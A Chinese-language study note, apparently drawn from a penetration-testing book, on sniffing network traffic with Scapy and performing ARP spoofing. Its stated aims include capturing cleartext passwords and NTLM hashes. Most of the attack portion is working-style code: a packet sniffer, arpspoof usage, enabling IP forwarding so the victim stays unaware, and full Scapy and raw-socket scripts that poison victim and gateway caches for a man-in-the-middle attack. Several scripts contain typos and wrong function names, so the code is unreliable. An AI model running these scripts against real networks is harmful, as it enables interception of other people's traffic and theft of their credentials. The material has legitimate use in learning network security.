如果想要彻底了解一个网络,那么最好的办法就是对网络中的流量进行嗅探。此篇记录几个嗅探工具,这些嗅探工具可以用来窃取网络中明文传输的密码,监视网络中的数据流向,甚至可以收集远程登录所使用的NTLM数据包(这个数据包中包含登录用的用户名和使用Hash加密的密码)。详见《python渗透测试编程》。
在Scapy中提供了一种专门用来捕获数据包的函数sniff(),这个函数的功能十分强大,首先使用help函数来查看一下它的使用方法。
函数sniff()中可以使用多个参数,下面先来了解其中几个比较重要参数的含义。
sniff()还支持过滤器的使用
使用这种语法创建出来的过滤器被称为BPF表达式,每个表达式包含一个或多个原语。每个原语又包含一个或多个限定词,主要有三个限定词:Type、Dir和Proto。
"host 192.168.169.133"就是一条最为常见的过滤器,它用来过滤除了本机和192.168.169.133以外的所有流量。如果希望再将范围限制小一些,例如,只捕获tcp类型的流量就可以使用“与"运算符,如”host 192.168.169.133 && tcp“。
一些常见的过滤器
使用sniff()来捕获一些数据包并显示出来
源地址192.168.169.133,端口为80的tcp报文
如果希望及时显示捕获的数据包,就可以使用prn函数选项,函数内容为prn=lambda x:x.summary()
prn就可以不断地打印输出捕获到的数据包内容
这个函数可以实现很多功能,例如输出其中的某一个选项:使用x[IP].src输出IP报文的目的地址。
另外,也可以定义一个回调函数,例如,打印输出这个数据包
def Callback(packet)
print packet.show()
然后再再sniff()中调用这个函数:sniff(prn-Callback)
这些捕获到的数据包可以使用wrpcap函数保存起来,保存的格式很多,目前最为通用的格式为pcap。
例如,捕获5个数据包并保存起来语句:
packet=sniff(count=5) wrpcap("demo.pcap",packet)
接下来编写一个完整的数据嗅探工具,它可以捕获和特定主机通信的1000个数据包,并保存到catch.pcap数据包中
from scapy.all import *
import sys
if len(sys.argv)!=2:
print('Usage:catchPackets\n eg:catchPackets 192.168.1.1' )
sys.exit(1)
ip=sys.argv[1]
def Callback(packet):
print packet.show()
packets=sniff(filter="host "+ip,prn=Callback,count=5)
wrpcap("catch.pcap",packets)
调用WireShark来查看数据包
在Scapy中查看这些数据包可能有些杂乱,可以将数据包放到更加专业的工具中来查看
首先在Scapy中产生一个数据包:packets=IP(dst="www.baidu.com")/ICMP()
然后可以将这个数据包放在一个极为优秀的网络分析工具中打开:wireshark(packets)
之所以这里特别提到这个协议,是因为目前网络中大部分的监听和欺骗技术都是源于这个协议。这个协议存在一个重大缺陷,就是这个过程并没有任何的认证机制。
也就是说如果一台主机收到ARP回复数据包,并不会对这个数据包进行真伪判断,无论这个数据包是否真的来自源主机,都会将其添加到ARP表中。因此黑客就可能会利用这个漏洞来冒充网关等主机。
arpspoof演示
arpspoof [-i 指定使用的网卡] [-t 要欺骗的目标主机] [-r] 要伪装成的主机
例如,现在受到欺骗的主机会把攻击者当作网关,从而把所有数据都发送到这个主机
现在arpspoof完成了对目标主机的欺骗任务,可以截获到主机发往网关的数据包。
但是这里有两个问题:
echo 1 >> /proc/sys/net/ipv4/ip_forward
这样就可以将截获到的数据包再转发出去,被欺骗的主机就可以正常上网了,从而无法察觉到收到攻击。使用Scapy库来完成这个任务,
这里需要设置的值主要有三个:op、psrc和pdst。其中,op对应的是ARP类型,默认值已经是1,就是ARP请求,无需改变;psrc的值最关键,psrc对应前面的源IP地址。
getewayIP="192.168.169.1"
victimIP="192.168.169.133"
另外,需要使用Ether层将这个数据包发送出去,查看参数
这一层只有三个参数,dst是目的硬件地址,src是源硬件地址
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
接下来构造并发送这个数据包
sendp(Ether(dst=dstMAC,src=srcMAC)/ARP(psrc=gatewayIP,pdst=victimIP))
即使部委Ether中的dst和src赋值,系统其实也会自动将src的值设置为使用Kali Linux 主机的硬件地址
sendp(Ether()/ARP(psrc=gatewayIP,pdst=victimIP))
成功发送这个数据包后,查看一下被攻击计算机的ARP缓存表
完整的ARP欺骗程序
import sys
from scapy.all import sendp,ARP,Ether
if len(sys.argv)!=3:
print sys.argv[0]+": "
sys.exit(1)
victimIP=sys.argv[1]#受害IP
getewayIP=sys.argv[2]#网关IP
packet=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
while 1:
sendp(packet)
time.sleep(10)
print packet.show()
在目标主机查看ARP缓存表,可以看到这时这个缓存表已经受到欺骗
也可以将这个程序再完善一下,网络嗅探功能也加进来,同时欺骗受害者主机和网关,将硬件地址改为自动获取等。
首先编写一个能获取目标硬件地址的函数。Scapy中有一个 getmacbyip() 函数,这个函数的作用是给出指定IP地址主机的硬件地址。
在Python中使用这个函数来获取目标主机的硬件地址
如果要开始的是一次中间人欺骗,那么需要同时对目标主机和网关都进行欺骗。中间人欺骗的原理就是要让目标误认为kali linux才是网关,同时让网关误认为kali linux是目标主机,这样两者之间的通信方式就变成如下:
要实现这一点就需要同时向目标主机和网关发送欺骗数据包。
用来欺骗目标主机的数据包如下:attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
用来欺骗网关的数据包如下:attackGateway=Ether()/ARP(psrc=victimIP,pdst=gatewayIP)
因为ARP缓存表中表项都有生命周期,所以需要不断对两个主机进行欺骗。这里循环发送来实现这个功能,sendp本身就有循环发送功能,使用inter指定间隔时间,使用loop=1来实现循环发送sendp(attackTarget,inter=1,loop=1)
完整程序如下:
import sys
import time
from scapy.all import sendp,ARP.Ether
if len(sys.argv)!=3:
print sys.atgv[0]+": "
sys.exit(1)
victimIP=sys.argv[1]
gatewayIP=sys.argv[2]
attackTarget=Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
attackGateway=Ether()/ARP(psrc=bictimIP,pdst=gatewayIP)
"""
sendp(attackTarget,inter=1,loop=1)#此段代码进入死循环,无法执行下一条语句
sendp(attackGateway,inter=1,loop=1)
"""
#修改后
while 1:
sendp(attackGateway)
sendp(attackTarget)
time.sleep(1)
在主机上其转发功能echo 1>>/proc/sys/net.ipv4/ip_forward
使用socket来实现这个例子
相比Scapy,socket是一个更为通用的库文件,但是也要复杂一些。
首先看一下ARP数据包的格式,和以前不同,这一次要精确到每一位表示的含义。
使用socke来产生一个数据包要远比Scapy麻烦,这个数据包要分成如下多个部分。
字段 | 长度 /位 |
---|---|
以太网目的地址 | 6 |
以太网源地址 | 6 |
帧类型 | 2 |
硬件类型 | 2 |
协议类型 | 2 |
硬件地址长度 | 1 |
协议地址长度 | 1 |
op | 2 |
发送端以太网地址 | 6 |
发送端IP地址 | 4 |
目的以太网地址 | 6 |
目的IP地址 | 4 |
利用这个库实现中间人欺骗的原理和前面一样,也是通过向目标发送一个伪造了的ARP数据包来实现的
可以按照如下填充这个数据包
在构造数据包的时候需要注意一点,网络中传输IP地址等数据要使用网络字节顺序,保证数据在不同主机之间传输时能够被正确解释。
Python socket模块中包含一些有用的IP转换函数,说明如下:
13. socket.inet_aton(ip_string)
:将IPv4的地址字符串(例如192.168.10.8)转换为32位打包的网络字节。
14. socket.inet_aton(packed_ip)
:转换32位的IPv4网络字节为IP地址的标准点号分隔字符串表示。
使用socket.inet_aton(ip_string)
将IP地址转换之后才能发送出去,所以定义一下这个数据包的格式内容:
srcMAC="00:0c:29:12:dd:23"
dstMAC="00:0c:29:2D:7F:89"
code='\x08\x06'
htype='\x00\x01'
protype='\x08\x00'
hsize='\x06'
psize='\x04'
opcode='\x00\x02'
gatewayIP='192.168.169.2'
victimIP='192.168.169.133'
将这些内容组成一个数据包
packet=srcMAC+dstMac+code+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP)
完整程序如下:
#这是一个单向脚本,只是发给目标主机的包;要实现中间人攻击,还需要再构造一个发送给网关的包。
import socket
import struct
import binascii
s=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.ntoh(0x0800))
s.bind("eth0",socket.htoh(0x0800))
srcMAC='\x00\x0c\x29\x1e\xf4'
dstMAC='\x00\x0c\x29\x2D\x7F\x89'
code='\x08\x06'
htype='\x00\x01'
protype='\x08\x00'
hsize='\x06'
psize='\x04'
opcode='\x00\x02'
gatewayIP='192.168.169.2'
victimIP='192.168.169.133'
packet=srcMAC+dstMac+code+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP)
while 1:
s.send(packet)
https://www.bilibili.com/video/BV1eK411M7h9/?p=22&spm_id_from=pageDriver&vd_source=822ed54fe446cd5d38b702cfccd5a730
《python渗透测试编程》